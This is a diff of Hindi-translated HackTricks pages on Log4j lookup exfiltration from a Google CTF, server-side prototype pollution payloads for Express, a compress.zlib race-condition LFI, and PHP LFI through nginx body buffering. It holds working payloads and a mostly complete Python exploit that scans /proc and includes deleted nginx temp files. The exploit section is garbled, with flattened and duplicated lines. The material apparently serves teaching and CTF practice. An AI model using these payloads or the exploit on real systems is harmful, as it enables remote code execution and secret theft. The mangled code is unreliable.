> संस्करण 2.17.0 से, (और Java 7 और Java 6 के लिए 2.12.3 और 2.3.1), **केवल कॉन्फ़िगरेशन में लुकअप स्ट्रिंग्स को पुनरावृत्त रूप से विस्तारित किया गया है**; किसी अन्य उपयोग में, केवल शीर्ष-स्तरीय लुकअप को हल किया जाता है, और कोई भी नेस्टेड लुकअप हल नहीं होते हैं।
|
||||
|
||||
इसका मतलब है कि डिफ़ॉल्ट रूप से आप **किसी भी `jndi` शोषण का उपयोग करना भूल सकते हैं**। इसके अलावा, **पुनरावृत्त लुकअप** करने के लिए आपको उन्हें कॉन्फ़िगर करना होगा।
|
||||
|
||||
उदाहरण के लिए, उस CTF में इसे log4j2.xml फ़ाइल में कॉन्फ़िगर किया गया था:
|
||||
उदाहरण के लिए, उस CTF में यह log4j2.xml फ़ाइल में कॉन्फ़िगर किया गया था:
|
||||
```xml
|
||||
<Console name="Console" target="SYSTEM_ERR">
|
||||
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
|
||||
|
@ -387,7 +379,7 @@ Log4j के [**सुरक्षा पृष्ठ**](https://logging.apache.
|
|||
### Env Lookups
|
||||
|
||||
In [this CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) हमलावर ने `${sys:cmd}` का मान नियंत्रित किया और एक पर्यावरण चर से ध्वज को निकालने की आवश्यकता थी।\
|
||||
जैसा कि इस पृष्ठ में [**पिछले पेलोड्स**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) में देखा गया है, पर्यावरण चर तक पहुँचने के कुछ अलग तरीके हैं, जैसे: **`${env:FLAG}`**। इस CTF में यह बेकार था लेकिन यह अन्य वास्तविक जीवन परिदृश्यों में बेकार नहीं हो सकता।
|
||||
जैसा कि [**पिछले पेलोड्स**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) में इस पृष्ठ पर देखा गया है, पर्यावरण चर तक पहुँचने के लिए विभिन्न तरीके हैं, जैसे: **`${env:FLAG}`**। इस CTF में यह बेकार था लेकिन यह अन्य वास्तविक जीवन परिदृश्यों में बेकार नहीं हो सकता।
|
||||
|
||||
### Exfiltration in Exceptions
|
||||
|
||||
|
@ -397,11 +389,11 @@ CTF में, आप **log4J का उपयोग करके java एप्
|
|||
|
||||
### Conversion Patterns Exceptions
|
||||
|
||||
बस उल्लेख करने के लिए, आप नए [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) भी इंजेक्ट कर सकते हैं और अपवादों को ट्रिगर कर सकते हैं जो `stdout` पर लॉग किए जाएंगे। उदाहरण के लिए:
|
||||
बस यह उल्लेख करने के लिए, आप नए [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) भी इंजेक्ट कर सकते हैं और अपवाद ट्रिगर कर सकते हैं जो `stdout` पर लॉग किए जाएंगे। उदाहरण के लिए:
|
||||
|
||||
![](<../../.gitbook/assets/image (683).png>)
|
||||
|
||||
यह त्रुटि संदेश के अंदर डेटा निकालने के लिए उपयोगी नहीं पाया गया, क्योंकि लुकअप को रूपांतरण पैटर्न से पहले हल नहीं किया गया था, लेकिन यह अन्य चीजों जैसे पहचानने के लिए उपयोगी हो सकता है।
|
||||
यह त्रुटि संदेश के भीतर डेटा निकालने के लिए उपयोगी नहीं पाया गया, क्योंकि लुकअप को रूपांतरण पैटर्न से पहले हल नहीं किया गया था, लेकिन यह अन्य चीजों जैसे पहचानने के लिए उपयोगी हो सकता है।
|
||||
|
||||
### Conversion Patterns Regexes
|
||||
|
||||
|
@ -410,7 +402,7 @@ CTF में, आप **log4J का उपयोग करके java एप्
|
|||
* **Binary search via exception messages**
|
||||
|
||||
रूपांतरण पैटर्न **`%replace`** का उपयोग **सामग्री** को **स्ट्रिंग** से **बदलने** के लिए किया जा सकता है, यहां तक कि **regexes** का उपयोग करके। यह इस तरह काम करता है: `replace{pattern}{regex}{substitution}`\
|
||||
इस व्यवहार का दुरुपयोग करते हुए आप **स्ट्रिंग के अंदर कुछ भी मेल खाने पर अपवाद को ट्रिगर करने के लिए बदलने** का काम कर सकते हैं (और यदि यह नहीं मिला तो कोई अपवाद नहीं) इस तरह:
|
||||
इस व्यवहार का दुरुपयोग करते हुए आप **स्ट्रिंग के भीतर कुछ भी मेल खाने पर अपवाद को ट्रिगर करने के लिए** बदलने का काम कर सकते हैं (और यदि यह नहीं मिला तो कोई अपवाद नहीं) इस तरह:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
|
@ -418,10 +410,10 @@ CTF में, आप **log4J का उपयोग करके java एप्
|
|||
```
|
||||
* **समय आधारित**
|
||||
|
||||
जैसा कि पिछले अनुभाग में उल्लेख किया गया था, **`%replace`** **regexes** का समर्थन करता है। इसलिए यह संभव है कि [**ReDoS पृष्ठ**](../regular-expression-denial-of-service-redos.md) से पेलोड का उपयोग करके **टाइमआउट** उत्पन्न किया जाए यदि ध्वज पाया जाता है।\
|
||||
उदाहरण के लिए, `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` जैसा एक पेलोड उस CTF में **टाइमआउट** को ट्रिगर करेगा।
|
||||
जैसा कि पिछले अनुभाग में उल्लेख किया गया था, **`%replace`** **regexes** का समर्थन करता है। इसलिए यह संभव है कि [**ReDoS पृष्ठ**](../regular-expression-denial-of-service-redos.md) से पेलोड का उपयोग करके **timeout** उत्पन्न किया जाए यदि ध्वज पाया जाता है।\
|
||||
उदाहरण के लिए, `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` जैसा एक पेलोड उस CTF में **timeout** को ट्रिगर करेगा।
|
||||
|
||||
इस [**लेख**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में, ReDoS हमले का उपयोग करने के बजाय, एक **अम्लीकरण हमला** का उपयोग किया गया था ताकि प्रतिक्रिया में समय का अंतर उत्पन्न किया जा सके:
|
||||
इस [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में, ReDoS हमले का उपयोग करने के बजाय, प्रतिक्रिया में समय के अंतर को उत्पन्न करने के लिए एक **amplification attack** का उपयोग किया गया:
|
||||
|
||||
> ```
|
||||
> /%replace{
|
||||
|
@ -443,7 +435,7 @@ CTF में, आप **log4J का उपयोग करके java एप्
|
|||
>
|
||||
> यदि ध्वज `flagGuess` से शुरू होता है, तो पूरे ध्वज को 29 `#`-s के साथ बदल दिया जाता है (मैंने इस चरित्र का उपयोग किया क्योंकि यह संभवतः ध्वज का हिस्सा नहीं होगा)। **परिणामी 29 `#`-s में से प्रत्येक को फिर 54 `#`-s से बदल दिया जाता है**। यह प्रक्रिया **6 बार** दोहराई जाती है, जिससे कुल ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||
>
|
||||
> इतने सारे `#`-s को बदलने से Flask एप्लिकेशन का 10-सेकंड का टाइमआउट ट्रिगर होगा, जो बदले में उपयोगकर्ता को HTTP स्थिति कोड 500 भेजेगा। (यदि ध्वज `flagGuess` से शुरू नहीं होता है, तो हमें एक गैर-500 स्थिति कोड प्राप्त होगा)
|
||||
> इतने सारे `#`-s को बदलने से Flask एप्लिकेशन का 10-सेकंड का timeout ट्रिगर होगा, जो बदले में उपयोगकर्ता को HTTP स्थिति कोड 500 भेजेगा। (यदि ध्वज `flagGuess` से शुरू नहीं होता है, तो हमें एक गैर-500 स्थिति कोड प्राप्त होगा)
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -456,23 +448,18 @@ CTF में, आप **log4J का उपयोग करके java एप्
|
|||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||
|
||||
**ट्राई हार्ड सुरक्षा समूह**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,25 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Serve XSS responses
|
||||
|
||||
**For further details** [**take a look to the original reserach**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
**अधिक जानकारी के लिए** [**मूल शोध पर एक नज़र डालें**](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
### Change JSON content-type to HTML
|
||||
### JSON सामग्री प्रकार को HTML में बदलें
|
||||
|
||||
एक Express ऐप में जो **JSON सामग्री प्रकार प्रतिक्रिया** का उपयोग कर रहा है और एक JSON को दर्शा रहा है:
|
||||
```javascript
|
||||
|
@ -55,11 +41,11 @@ res.send(req.body);
|
|||
```json
|
||||
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
|
||||
```
|
||||
## सुरक्षित स्कैनिंग तकनीकें
|
||||
## Safe Scanning Techinques
|
||||
|
||||
### JSON स्पेस
|
||||
### JSON spaces
|
||||
|
||||
निम्नलिखित PP JSON के अंदर विशेषताओं को एक अतिरिक्त स्पेस देगा जो कार्यक्षमता को बाधित नहीं करेगा:
|
||||
निम्नलिखित PP JSON के अंदर विशेषताओं को एक अतिरिक्त स्थान देने के लिए है जो कार्यक्षमता को बाधित नहीं करेगा:
|
||||
```json
|
||||
{"__proto__":{"json spaces": " "}}
|
||||
```
|
||||
|
@ -69,7 +55,7 @@ res.send(req.body);
|
|||
```
|
||||
### Exposed Headers
|
||||
|
||||
निम्नलिखित PP गैजेट सर्वर को HTTP हेडर भेजने के लिए बनाएगा: **`Access-Control-Expose_headers: foo`**
|
||||
निम्नलिखित PP गैजेट सर्वर को HTTP हेडर भेजने के लिए मजबूर करेगा: **`Access-Control-Expose_headers: foo`**
|
||||
```json
|
||||
{"__proto__":{"exposedHeaders":["foo"]}}
|
||||
```
|
||||
|
@ -88,7 +74,7 @@ res.send(req.body);
|
|||
```
|
||||
### **स्थिति**
|
||||
|
||||
**वापसी स्थिति कोड** को निम्नलिखित PP पेलोड का उपयोग करके बदलना संभव है:
|
||||
निम्नलिखित PP पेलोड का उपयोग करके **वापस किए गए स्थिति कोड** को बदलना संभव है:
|
||||
```json
|
||||
{"__proto__":{"status":510}}
|
||||
```
|
||||
|
@ -125,17 +111,6 @@ Express में एक विकल्प है जो आपको **क्
|
|||
|
||||
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमता प्रदान करता है कि क्या कोई कंपनी या उसके ग्राहक **स्टीलर मैलवेयर** द्वारा **समझौता** किए गए हैं।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मैलवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जाकर **फ्री** में उनके इंजन को आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -146,8 +121,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,23 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या किसी कंपनी या उसके ग्राहकों को **समझौता** किया गया है **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### `compress.zlib://` और `PHP_STREAM_PREFER_STDIO`
|
||||
|
||||
`compress.zlib://` प्रोटोकॉल का उपयोग करके खोला गया एक फ़ाइल `PHP_STREAM_PREFER_STDIO` ध्वज के साथ बाद में कनेक्शन पर आने वाले डेटा को उसी फ़ाइल में लिखना जारी रख सकता है।
|
||||
`compress.zlib://` प्रोटोकॉल का उपयोग करके खोला गया एक फ़ाइल, `PHP_STREAM_PREFER_STDIO` ध्वज के साथ, बाद में कनेक्शन पर आने वाले डेटा को उसी फ़ाइल में लिखना जारी रख सकता है।
|
||||
|
||||
इसका मतलब है कि एक कॉल जैसे:
|
||||
```php
|
||||
|
@ -55,25 +41,13 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
|
|||
|
||||
हमलावर **शिकार सर्वर को हमलावर के सर्वर से एक फ़ाइल पढ़ने के लिए एक कनेक्शन खोलने** के लिए मजबूर करेगा **`compress.zlib`** प्रोटोकॉल का उपयोग करते हुए।
|
||||
|
||||
**जब** यह **कनेक्शन** मौजूद है, हमलावर **अस्थायी फ़ाइल** के पथ को **बाहर निकाल** लेगा (यह सर्वर द्वारा लीक किया गया है)।
|
||||
**जबकि** यह **कनेक्शन** मौजूद है, हमलावर **अस्थायी फ़ाइल** के पथ को **बाहर निकाल** देगा (यह सर्वर द्वारा लीक किया गया है)।
|
||||
|
||||
**जब** **कनेक्शन** अभी भी खुला है, हमलावर **LFI का शोषण करेगा जो अस्थायी फ़ाइल** को लोड करता है जिसे वह नियंत्रित करता है।
|
||||
**जबकि** **कनेक्शन** अभी भी खुला है, हमलावर **LFI का शोषण करेगा जो अस्थायी फ़ाइल** को लोड करता है जिसे वह नियंत्रित करता है।
|
||||
|
||||
हालांकि, वेब सर्वर में एक जांच है जो **`<?`** वाले फ़ाइलों को लोड करने से **रोकती** है। इसलिए, हमलावर **Race Condition** का दुरुपयोग करेगा। उस कनेक्शन में जो अभी भी खुला है, **हमलावर** **PHP पेलोड भेजेगा AFTER** कि **वेब सर्वर** ने **जांच** की है कि फ़ाइल में निषिद्ध वर्ण हैं लेकिन **इससे पहले कि यह इसकी सामग्री लोड करे**।
|
||||
हालांकि, वेब सर्वर में एक जांच है जो **`<?`** वाले फ़ाइलों को लोड करने से **रोकती** है। इसलिए, हमलावर **रेस कंडीशन** का दुरुपयोग करेगा। उस कनेक्शन में जो अभी भी खुला है, **हमलावर** **PHP पेलोड भेजेगा AFTER** **वेब सर्वर** ने **जांच की** कि फ़ाइल में निषिद्ध वर्ण हैं लेकिन **इससे पहले कि यह इसकी सामग्री लोड करे**।
|
||||
|
||||
अधिक जानकारी के लिए Race Condition और CTF का विवरण देखें [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **चोरी करने वाले मालवेयर** द्वारा **समझौता** किए गए हैं या नहीं।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
अधिक जानकारी के लिए रेस कंडीशन और CTF का विवरण देखें [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,97 +15,38 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **फ्री** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है जो जानकारी चुराने वाले मालवेयर के परिणामस्वरूप होते हैं।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **फ्री** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Vulnerable configuration
|
||||
|
||||
[**Example from https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
* PHP code:
|
||||
* PHP कोड:
|
||||
```php
|
||||
|
||||
\`\`\`\`h\`
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` नोट: इस उदाहरण में \`/proc/34/fd/15\` को सीधे शामिल नहीं किया जा सकता क्योंकि PHP का \`include\` फ़ंक्शन पथ को \`/var/lib/nginx/body/0000001368 (deleted)\` में हल करेगा जो फ़ाइल सिस्टम में मौजूद नहीं है। इस छोटे से प्रतिबंध को कुछ अप्रत्यक्षता जैसे: \`/proc/self/fd/34/../../../34/fd/15\` द्वारा भाग्यवश बायपास किया जा सकता है जो अंततः हटाए गए \`/var/lib/nginx/body/0000001368\` फ़ाइल की सामग्री को निष्पादित करेगा। ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
```
|
||||
```markdown
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
```
|
||||
```python
|
||||
def send_payload_worker(requests_session):
|
||||
while True:
|
||||
send_payload(requests_session)
|
||||
|
||||
def send_payload_multiprocess(requests_session):
|
||||
# सभी CPUs का उपयोग करें ताकि Nginx के लिए अनुरोध शरीर के रूप में पेलोड भेजा जा सके
|
||||
for _ in range(multiprocessing.cpu_count()):
|
||||
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
|
||||
p.start()
|
||||
|
||||
def generate_random_path_prefix(nginx_pids):
|
||||
# यह विधि ProcFS पथ घटकों की यादृच्छिक मात्रा से एक पथ बनाती है।
|
||||
# एक उत्पन्न पथ इस तरह दिखेगा /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
|
||||
path = ""
|
||||
component_num = random.randint(0, 10)
|
||||
for _ in range(component_num):
|
||||
pid = random.choice(nginx_pids)
|
||||
if random.randint(0, 1) == 0:
|
||||
path += f"/proc/{pid}/cwd"
|
||||
else:
|
||||
path += f"/proc/{pid}/root"
|
||||
return path
|
||||
|
||||
def read_file(requests_session, nginx_pid, fd, nginx_pids):
|
||||
nginx_pid_list = list(nginx_pids)
|
||||
while True:
|
||||
path = generate_random_path_prefix(nginx_pid_list)
|
||||
path += f"/proc/{nginx_pid}/fd/{fd}"
|
||||
try:
|
||||
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
|
||||
except:
|
||||
continue
|
||||
# ध्वज hxp{} के रूप में स्वरूपित होते हैं
|
||||
if "hxp" in d:
|
||||
print("ध्वज मिला! ")
|
||||
print(d)
|
||||
|
||||
def read_file_worker(requests_session, nginx_pid, nginx_pids):
|
||||
# Nginx FDs को 10 - 45 के बीच एक लूप में स्कैन करें।
|
||||
# चूंकि फ़ाइलें और सॉकेट बंद होते रहते हैं - यह बहुत सामान्य है कि अनुरोध शरीर FD इस रेंज के भीतर खुलता है
|
||||
for fd in range(10, 45):
|
||||
thread = threading.Thread(target=read_file, args=(requests_session, nginx_pid, fd, nginx_pids))
|
||||
thread.start()
|
||||
|
||||
def read_file_multiprocess(requests_session, nginx_pids):
|
||||
for nginx_pid in nginx_pids:
|
||||
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
|
||||
p.start()
|
||||
|
||||
if __name__ == "__main__":
|
||||
print('\[DEBUG] अनुरोध सत्र बना रहे हैं')
|
||||
